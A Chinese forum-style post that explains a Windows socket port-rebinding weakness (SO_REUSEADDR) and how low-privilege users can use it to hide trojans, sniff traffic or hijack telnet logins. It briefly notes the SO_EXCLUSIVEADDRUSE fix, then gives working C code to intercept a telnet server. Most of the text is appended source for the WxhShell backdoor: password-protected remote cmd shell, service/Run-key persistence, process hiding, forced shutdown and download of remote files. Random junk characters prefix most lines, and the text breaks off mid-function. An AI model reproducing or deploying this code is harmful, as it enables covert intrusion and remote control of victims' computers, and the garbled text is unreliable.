在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\,:7= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Gz8JOl KVViTpZ saddr.sin_family = AF_INET;
^{++h?cS) e(`r"RrQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
x}d5Y
YYkgm:[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,.gJ8p(0x 6O 2sa-{d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<8Z%'C6d R_Bf JD. 这意味着什么?意味着可以进行如下的攻击:
=FFs8&PKys o$*DFvk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
CPP9=CoR37 oW(8bd) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
AP=SCq; o(t`XE['< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
U^-J_yq f)Z'#[A*t7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
X\<a|/{V A Y!|}; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P5"B7>L: #}Ays#wA>? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wc~ 9zh E!I4I' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.Dr7YquW v yP_qG #include
td#m>S #include
+yHzp #include
+,D82V7S #include
7bJM
$
DWORD WINAPI ClientThread(LPVOID lpParam);
>S?7-2X int main()
kaDn=
={YM {
: R8+jO WORD wVersionRequested;
'XSHl?+q DWORD ret;
!yV)EJ:$ WSADATA wsaData;
15DlD`QV BOOL val;
{>brue*) SOCKADDR_IN saddr;
dQ<e}wtg SOCKADDR_IN scaddr;
x}reeqn int err;
Ja@?.gW SOCKET s;
C|QJQ@bj0
SOCKET sc;
:+ "JPF4X int caddsize;
A+3=OBpkW0 HANDLE mt;
O9{A)b!HB DWORD tid;
h 'is#X 6: wVersionRequested = MAKEWORD( 2, 2 );
^AUQsRA7PZ err = WSAStartup( wVersionRequested, &wsaData );
#`"B
YFV[E if ( err != 0 ) {
;:Kc{B.s printf("error!WSAStartup failed!\n");
q93V'[)F return -1;
i{J[;rV9 }
>>=v`} saddr.sin_family = AF_INET;
.3
^*_ q#Ik3 5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Yc(lY
N _ `7[}M~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Pp|pH|(n , saddr.sin_port = htons(23);
fK=vLcH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wp-3U}P2( {
23q2u6.F` printf("error!socket failed!\n");
`7',RUj|D return -1;
_'s5FlZq }
\z2d=E val = TRUE;
u)ZZ/| //SO_REUSEADDR选项就是可以实现端口重绑定的
['0^gN$:e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
IRI<no {
c;R.rV< printf("error!setsockopt failed!\n");
8EI&}I return -1;
a+\s 0Qo< }
l02aXxT)] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
P$G|o|h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
W8!8/IZbN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Z?w=- UX'tdB
!A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@gJPMgF$F {
Szlww ret=GetLastError();
_LZ 442 printf("error!bind failed!\n");
.MRLAG return -1;
iWn7vv/t }
It^_?oiK listen(s,2);
F=kiYa} while(1)
;nf}O87~ {
tLx8}@X" caddsize = sizeof(scaddr);
h6(L22Hn //接受连接请求
v8A{q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
QOF'SEq"k if(sc!=INVALID_SOCKET)
9,
792b {
N{zou?+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
u+8?'ZT, if(mt==NULL)
2l4`h)_q {
Al]z= printf("Thread Creat Failed!\n");
k:zGv break;
Xc]Q_70O }
w~*"mZaG }
H0mDs7 CloseHandle(mt);
_n<
@Jk~ }
9}Zi_xK&|e closesocket(s);
k8"[)lDc. WSACleanup();
kc:2ID& return 0;
UIw6~a3E }
eYRm:KC DWORD WINAPI ClientThread(LPVOID lpParam)
YA^g[, {
Z?'){\$* SOCKET ss = (SOCKET)lpParam;
knZ<V%/e SOCKET sc;
1uhSP!b unsigned char buf[4096];
:y[tZ&*<_? SOCKADDR_IN saddr;
Q|cA8Fn long num;
Ad`jV_z DWORD val;
\R<OT%8 DWORD ret;
8f|+045E@ //如果是隐藏端口应用的话,可以在此处加一些判断
.DHRPel //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
SkA"MhX saddr.sin_family = AF_INET;
'~'3x4Bo saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&Lgi saddr.sin_port = htons(23);
%|3UWN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ehf{Kl {
b~FmX printf("error!socket failed!\n");
aD3Q-a[ return -1;
KHXnB }
pG:)u
cj val = 100;
u@zBE?
g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r7p>`>_Q\ {
zL3'',Ha ret = GetLastError();
D$c4's`5 return -1;
S-+^L| }
$rE_rZ+]=" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1YMu\( {
x;*KRO ret = GetLastError();
Ss7XjWP.} return -1;
*,DBRJ_*7 }
-n~VMLd?@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1{S"
axSL {
-vC?bumR% printf("error!socket connect failed!\n");
}'
t*BaU closesocket(sc);
Djf,#&j!3 closesocket(ss);
OC[(Eq return -1;
2]*2b{gF, }
{z}OZHJN while(1)
) 4'@=q {
\D
#NO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
g @lAk%V4 //如果是嗅探内容的话,可以再此处进行内容分析和记录
=>6'{32W_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
FeFH_ num = recv(ss,buf,4096,0);
#VEHyz 6P if(num>0)
I2'UC)
0 send(sc,buf,num,0);
[(N<E/m %B else if(num==0)
%fz!'C_4 break;
SSF4P& num = recv(sc,buf,4096,0);
`#lNur\x if(num>0)
"L" 6jT send(ss,buf,num,0);
p( Q5!3C0q else if(num==0)
_\LAWQ|M4[ break;
vH#^ |u }
r 6STc,%5 closesocket(ss);
+d736lLe% closesocket(sc);
Sc*O_c3D return 0 ;
fm\IQqIK% }
pJ5Sxgv{; DFt1{qS8@u y(8AxsROp ==========================================================
mko<J0|4 gI^*O@Q4{b 下边附上一个代码,,WXhSHELL
.gWYKZM
5A6d] ==========================================================
PGHl:4`Es! 6l>$N?a #include "stdafx.h"
?J~(qa a; 7m=tu?@ #include <stdio.h>
puz~Rfn#* #include <string.h>
JQ8wL _C> #include <windows.h>
X}xy
v #include <winsock2.h>
b#^UP #include <winsvc.h>
FXOA1VEg #include <urlmon.h>
l7P~_X_)" fNx3\<~V= #pragma comment (lib, "Ws2_32.lib")
X] &Q^ #pragma comment (lib, "urlmon.lib")
g%Ap <iT (;' ?56 #define MAX_USER 100 // 最大客户端连接数
}4kd=]Nk #define BUF_SOCK 200 // sock buffer
1G+42>?<1 #define KEY_BUFF 255 // 输入 buffer
Ed)t87E ><[($Gq`g #define REBOOT 0 // 重启
A@EeX4N #define SHUTDOWN 1 // 关机
a<M<) {$u ^60BQ{ne #define DEF_PORT 5000 // 监听端口
70L{u+wIy j']m*aM1> #define REG_LEN 16 // 注册表键长度
W9?Vh{w #define SVC_LEN 80 // NT服务名长度
T'l >$6 {ls$#a+d // 从dll定义API
^~2GhveBV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
0t1WvW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)sVz;rF< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
<w.W[ak typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
V 3-5:z b$+.}&M // wxhshell配置信息
J]~LmSh struct WSCFG {
R$=UJ}> int ws_port; // 监听端口
w Maib3Q char ws_passstr[REG_LEN]; // 口令
fNc3&=]] int ws_autoins; // 安装标记, 1=yes 0=no
k9.2*+vvg char ws_regname[REG_LEN]; // 注册表键名
|jniI( char ws_svcname[REG_LEN]; // 服务名
Uax- z char ws_svcdisp[SVC_LEN]; // 服务显示名
8|`4D 'Ln char ws_svcdesc[SVC_LEN]; // 服务描述信息
qde.;Yv9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]z,W1Zs? int ws_downexe; // 下载执行标记, 1=yes 0=no
&<-Sxjj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<5A(rDij char ws_filenam[SVC_LEN]; // 下载后保存的文件名
B8:_yAv o -U(T };
<Vr" 1+PLj[;jJ: // default Wxhshell configuration
<DCrYt!1}c struct WSCFG wscfg={DEF_PORT,
:grJ}i-D "xuhuanlingzhe",
Y6/'gg'&5 1,
S\
~Wpf "Wxhshell",
TDdFuO'} "Wxhshell",
b}p 0&%I "WxhShell Service",
b:Dr_| "Wrsky Windows CmdShell Service",
)W~w72j- "Please Input Your Password: ",
` a5$VV%J 1,
!L+*.k: "
http://www.wrsky.com/wxhshell.exe",
|Z<NM#1 "Wxhshell.exe"
=m=`| Bn };
!12W(4S5 AxUj CerNf // 消息定义模块
Aq}]{gfQ1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_mKO4Atw char *msg_ws_prompt="\n\r? for help\n\r#>";
4,T!zT6& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
E@aR5S> char *msg_ws_ext="\n\rExit.";
%zyO} char *msg_ws_end="\n\rQuit.";
_* ] ~MQ= char *msg_ws_boot="\n\rReboot...";
vDz)q char *msg_ws_poff="\n\rShutdown...";
Hm4:m$=p4 char *msg_ws_down="\n\rSave to ";
+s
c|PB J.mEOo!> char *msg_ws_err="\n\rErr!";
_K>cB<+d char *msg_ws_ok="\n\rOK!";
K>9]I97g' 7M<Ae
D% char ExeFile[MAX_PATH];
<XX\4[wb int nUser = 0;
~oh=QakW HANDLE handles[MAX_USER];
NA>h$N int OsIsNt;
$$2\qN - Zi[@xG8dm SERVICE_STATUS serviceStatus;
_=XzQZT!L SERVICE_STATUS_HANDLE hServiceStatusHandle;
h*{{_3, 0m6Vf
x // 函数声明
Ps(3X@ int Install(void);
a -,!K int Uninstall(void);
!-%i" a int DownloadFile(char *sURL, SOCKET wsh);
+Cl(:kfYB int Boot(int flag);
ZkkXITQkPM void HideProc(void);
@kn0f` int GetOsVer(void);
^)conSm int Wxhshell(SOCKET wsl);
5V4Ze;K void TalkWithClient(void *cs);
_` |Hk2O int CmdShell(SOCKET sock);
|AW[4Yn> int StartFromService(void);
gX5I`mm int StartWxhshell(LPSTR lpCmdLine);
dU\,>3tG <7/ _Vs)F0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
xWD=",0+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
1 e1$x@\\ G eN('0 // 数据结构和表定义
v{^_3
] SERVICE_TABLE_ENTRY DispatchTable[] =
wP- pFc {
f@T/^|`mh {wscfg.ws_svcname, NTServiceMain},
ZFNM>C^ {NULL, NULL}
deHhl(U; };
k5]s~*,0 e'mm4 2 // 自我安装
#.UooFk+Y int Install(void)
8Br* {
R_:47.qq char svExeFile[MAX_PATH];
a33}CVG-e3 HKEY key;
',?v7& strcpy(svExeFile,ExeFile);
kXA
o+l aErms-~ // 如果是win9x系统,修改注册表设为自启动
4<)%Esyb if(!OsIsNt) {
b"t95qlL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iXK.QktHw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ilEWxr;, RegCloseKey(key);
3:7J@> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-z./6dQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'+N!3r{G RegCloseKey(key);
\%z#|oV#< return 0;
fGHYs }
_?kjIF }
p<*3mbgGO }
-gefdx6ES else {
F]\(p=U. jt?4raNW // 如果是NT以上系统,安装为系统服务
Z;=G5O
uvQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Lz's!b if (schSCManager!=0)
)4>M<BO {
W'u6F-$2 SC_HANDLE schService = CreateService
P%
_cIR (
I?LJXo \O schSCManager,
sx IvL7jl wscfg.ws_svcname,
j+"i$ln+s wscfg.ws_svcdisp,
^EWkJW,Yc SERVICE_ALL_ACCESS,
a,tzt
]> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
lfp[(Ph)9 SERVICE_AUTO_START,
&[$qA SERVICE_ERROR_NORMAL,
eRc+.m[ svExeFile,
Qyvn A|& NULL,
C']TO/2q NULL,
z^$DXl@)h NULL,
Y b\t0:_ NULL,
oa$-o/DhB NULL
56t9h/y );
\7rFfN3 if (schService!=0)
c[J(H,mt/ {
A}pmr CloseServiceHandle(schService);
zgRZgVj CloseServiceHandle(schSCManager);
=B<>H$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
r:lv[/D strcat(svExeFile,wscfg.ws_svcname);
iz!E1(z( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
B/.+&AJw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*F0O*n*7W RegCloseKey(key);
g*?)o!_* return 0;
S7]\tw_L) }
EITA[Ba B` }
L)W1bW} CloseServiceHandle(schSCManager);
/|V!2dQs" }
(|+Sbq(o }
ZDuP|" ^ (T:OZmEO. return 1;
jA_wOR7$ }
!D6 /RU'~( // 自我卸载
qpzzk9ba[ int Uninstall(void)
GSo&$T;B6 {
|&OW_*l HKEY key;
|^9+c2 5Z"IM8? if(!OsIsNt) {
G<n(\85X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A2>rS RegDeleteValue(key,wscfg.ws_regname);
4j^-n_T RegCloseKey(key);
4.il4Qqy}i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/{@^h#4M1 RegDeleteValue(key,wscfg.ws_regname);
</!
`m8 \ RegCloseKey(key);
^f*}]`S return 0;
1{D_30sG. }
M &`ZF }
:j_OO5b! }
&N4Jpa}w/% else {
zY_xJ"/9 "c5C0 pK0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZI.;7G@| if (schSCManager!=0)
ZS&>%G {
ETU.v*HT] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{p3VHd# if (schService!=0)
/]7FX" {
CR8a)X4j# if(DeleteService(schService)!=0) {
Z3jh-{ 0 CloseServiceHandle(schService);
}*eiG CloseServiceHandle(schSCManager);
vxuxfi8x return 0;
!Rp }
_
nFsC CloseServiceHandle(schService);
lS1-e0,h1 }
/IQl CloseServiceHandle(schSCManager);
bz5",8Mn }
/tIR}qK }
nADt8 ~q0g7?}& return 1;
'2)c;/-E }
&"X6s%ZH| fzcPi9+ // 从指定url下载文件
r*$$82s int DownloadFile(char *sURL, SOCKET wsh)
xX;@
BS {
P(iZGOKUs= HRESULT hr;
CbPCj.MH char seps[]= "/";
]MI>"hn char *token;
&?+ vHE} char *file;
ifA=qn0=} char myURL[MAX_PATH];
cfZG3" char myFILE[MAX_PATH];
KKMzhvf]# epz'GN]V strcpy(myURL,sURL);
lIR0jgP@z token=strtok(myURL,seps);
Hgu:*iYA while(token!=NULL)
H<tk/\C {
<eWGvIEP[ file=token;
$xx5+A%, token=strtok(NULL,seps);
38Rod]\E }
$7Sbz&)y3 /JP]5M) GetCurrentDirectory(MAX_PATH,myFILE);
f1eY2UtWQ strcat(myFILE, "\\");
gkxEy5c[ strcat(myFILE, file);
s=)0y$ send(wsh,myFILE,strlen(myFILE),0);
do3 BI4Q send(wsh,"...",3,0);
[h"#Gwb=; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>Hh8K<@NL if(hr==S_OK)
E>_?9~8Mf return 0;
}qf9ra else
Zmx[u_NG return 1;
!: e0cV dU!`aPL? }
3,`.$
,.#
SEv5 // 系统电源模块
JGmW>mH int Boot(int flag)
M :m-i X {
[,GXA)j HANDLE hToken;
p)
x.Y TOKEN_PRIVILEGES tkp;
i?7%z` ,!`94{Ggv if(OsIsNt) {
e"jA#Y # OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
NW-l_]k LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>v4k_JX tkp.PrivilegeCount = 1;
GPqF> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
V<} ^n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
tykA69X\W if(flag==REBOOT) {
pB
@l+
n^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6{O#!o*g return 0;
C=LXL1x2e }
,+p&ZpH else {
Bx(+uNQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)p.+39]{2 return 0;
)B d`N^k+ }
Dl862$_Q }
Kuh! b`9 else {
a
S-
rng if(flag==REBOOT) {
K#"@nVWJ.m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
eO,
return 0;
/)80@ }
#unE>#DW else {
Y^)VHE] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&77]h%B> return 0;
k&nhF9Y4 }
_ Ko0 }
FNZB M _/[n/"gn return 1;
l<<G".? }
1B3,lYBM UI~ENG // win9x进程隐藏模块
0XlX7Sk+ void HideProc(void)
i'!M<>7 {
.?SClTqg >l$vu-k)~4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~L(_q] if ( hKernel != NULL )
c ;3bX6RD* {
PN:8H> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
nf< <]iHf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CiP-Zh[gZ FreeLibrary(hKernel);
SwQ.tK1p }
}iy`Ko+B"b $ql-"BB return;
_ED1".f }
(.,E6H|zI -
Pz
)O@ ; // 获取操作系统版本
)Jx!VJ^Y int GetOsVer(void)
@ ADY? {
u)P$xkf OSVERSIONINFO winfo;
3&*0n^g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|Y<ca GetVersionEx(&winfo);
^F*)Jq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
F~d
!Ub$> return 1;
Zn3iLAPBX else
QnxkD)f*0 return 0;
gb:Cc,F,% }
Fga9 @{_PO{=\C // 客户端句柄模块
o,) p *glO int Wxhshell(SOCKET wsl)
*9^CgLF {
Cu({%Gy+ SOCKET wsh;
^JtGT struct sockaddr_in client;
>Z^7=5K"O DWORD myID;
c: *wev >ge-yK 1 while(nUser<MAX_USER)
dh/:H/k kR {
(Cp:NS int nSize=sizeof(client);
M
O5fu! wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
K! /E0G& if(wsh==INVALID_SOCKET) return 1;
eEsEW<su 9szE^kHS9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
)I+1 b
!U if(handles[nUser]==0)
SU#
S' closesocket(wsh);
|~H'V4)zXu else
?l,i(I nUser++;
"EpE!jh }
17D167\X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
}sy3Mrb sSG]I%oB3 return 0;
:yT~.AK}>1 }
gb(\c:yg1R v03~=( // 关闭 socket
tBBN62^X void CloseIt(SOCKET wsh)
(XqeX(s {
Cu;X{F'H closesocket(wsh);
q1dYiG.-Z nUser--;
5, Yk5?l<' ExitThread(0);
v,>F0ofJ }
aic6,>\!' {>FA ~}cX. // 客户端请求句柄
N5/TV%u void TalkWithClient(void *cs)
B_5q}Bp< {
=< CH( 4! d;#9xD' SOCKET wsh=(SOCKET)cs;
Wc3!aLNx char pwd[SVC_LEN];
|[34<tIN char cmd[KEY_BUFF];
j{_MDE7N char chr[1];
M/V
>25` int i,j;
+G/~v`Bv 3"[ KXzn while (nUser < MAX_USER) {
s*9tWSd <i`EP/x if(wscfg.ws_passstr) {
bf;IJ|v^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4kXx(FE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1Y9Ye?~jd //ZeroMemory(pwd,KEY_BUFF);
{bETHPCf i=0;
M~662]Ekk while(i<SVC_LEN) {
}Pb!u9_ cjN4U [ // 设置超时
7/7A fd_set FdRead;
Wq{' ZN struct timeval TimeOut;
0[3b, FD_ZERO(&FdRead);
1}jE?{V* FD_SET(wsh,&FdRead);
XVv7W5/q] TimeOut.tv_sec=8;
/v!H{Zw=c TimeOut.tv_usec=0;
&\p:VF. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%oor7 -l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
g"Ii'JZ? wFqz.HoB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
mOX I"q]p pwd
=chr[0];
P`bR;2o
if(chr[0]==0xd || chr[0]==0xa) { L<QDC
pwd=0; n@mUQ6
break; _)Qt,$
} bfpW^y
i++; xBw"RCBz^
} *Mp<4B
v>R.M"f
// 如果是非法用户,关闭 socket 4|+
|L_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {Zseu$c
} ,}2j
Fb9z4
%ANPv =
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r*p%e\ 3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NX=dx&i>+
b&_p"8)_
while(1) { oNCDG|8z
fGe{7p6XV*
ZeroMemory(cmd,KEY_BUFF); i'5bPW
2Q k\}KWs
// 自动支持客户端 telnet标准 3p4bOT5
j=0; b5)>h
while(j<KEY_BUFF) { `GDYL7pM(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PRah?|*0s
cmd[j]=chr[0]; ?=4t~\g?
if(chr[0]==0xa || chr[0]==0xd) { &YMVoyVD
cmd[j]=0;
Y-{spTI
break; WI~%n
} VmT5?i
j++; ^X;>?_Bk
} eD(a
+El}
T ]zjJwa
// 下载文件 g1{wxBFE
if(strstr(cmd,"http://")) { 9E#(i P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5g5pzww
if(DownloadFile(cmd,wsh)) ,pG63&?j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '#Fh
J%x
else U92hv~\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w`v\/a_
} AdYQhF##
else { |$w-}$jq5
HZ}'W<N
switch(cmd[0]) { (Z5#;rgem
U D(#u3z
// 帮助 `dNb%f>
case '?': { 7>mYD3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Z^GN%Q7a
break; V9bLm,DtT
} }wb;ulN)
// 安装 1`AE]
case 'i': { DtS{iH=s]
if(Install()) A3$b_i @P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #3$|PM7,_
else |S}*M<0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gjWH
}(K
break; a[!d)Y:zx
} ;7A,'y4f
// 卸载 "O
'I
case 'r': { ;C<A}
if(Uninstall()) SYwNx">Bq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;(,Fe/wvC
else aRwBxf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v%- V|L
break; &ivIv[LV
} sP
|i'
// 显示 wxhshell 所在路径 R{B~No w3
case 'p': { U,S286
char svExeFile[MAX_PATH];
p[GyQ2k)
strcpy(svExeFile,"\n\r"); <am7t[G."
strcat(svExeFile,ExeFile); KAzRFX),
send(wsh,svExeFile,strlen(svExeFile),0); TDGzXJf[
break; `ouzeu9}
} c2f$:XiM
// 重启 &40]sxm
case 'b': { b#U%aPH
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m>!#}EJ|
if(Boot(REBOOT)) el%Qxak`"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sJlKN
else { A%O#S<sa
closesocket(wsh); E=QQZ\w
ExitThread(0); (Vv]:Y]
} Ei<:=6EX?8
break; qsRh ihPX
} Sx"I]N
// 关机 d!:SoZ
case 'd': { `y#C%9#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qa%SvA@R
if(Boot(SHUTDOWN)) (jG$M= q-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J_@4J7
else { M2S|$6t:
closesocket(wsh); yw<xv-Q=i
ExitThread(0); D=vq<X'
} :JIPF=]fc
break; *ZGN!0/
} 7A6sSfPUy
// 获取shell :
eFc.>KoD
case 's': { 3\G=J
CmdShell(wsh); %R>S"
closesocket(wsh); (ce NVo&
ExitThread(0); 4Ccb!?
break; 1%`:8
} '7R'fhiO/3
// 退出 eV0S:mit
case 'x': { O :^[4$~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &/F[kAy
CloseIt(wsh); R2`g?5v
break; (^9M9+L[i
} ;I'/.gW;{
// 离开 nL!@#{z
case 'q': { B vc=gW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %5gJ6>@6Z
closesocket(wsh); 88j
;7
WSACleanup(); CK</2 w+
exit(1); 2A|6o*s"
break; 9(WC#-,
} KOx#LGz
} `qz5rPyZ
} :nUsC+oBS
gj^]}6-P
// 提示信息 NN'<-0~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); auW]rwY
} O$/swwB!
} Q%2Lyt"(
z:5ROlk0
return; G{~p.?f:
} "n,ZP@M;
}8:
-I Nj4
// shell模块句柄 :,,y63-f4
int CmdShell(SOCKET sock) pe})A
{ Q{hOn]"
STARTUPINFO si; n0pe7/Ai
ZeroMemory(&si,sizeof(si)); VAE?={-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x^2/jUc#B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `h!&->
PROCESS_INFORMATION ProcessInfo; @F^L4 N':
char cmdline[]="cmd"; #.YcIR)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); );DIrA
return 0; `kSCH; mwP
} Xy<f_
{fv8S;|u
// 自身启动模式 oZ:F3 GQ4Q
int StartFromService(void) ueBoSZRWX
{ {{%8|+B
typedef struct MToQ8qKs
{ .G~5F- 8'
DWORD ExitStatus; }{oBKm9_p
DWORD PebBaseAddress; _PXo'*j
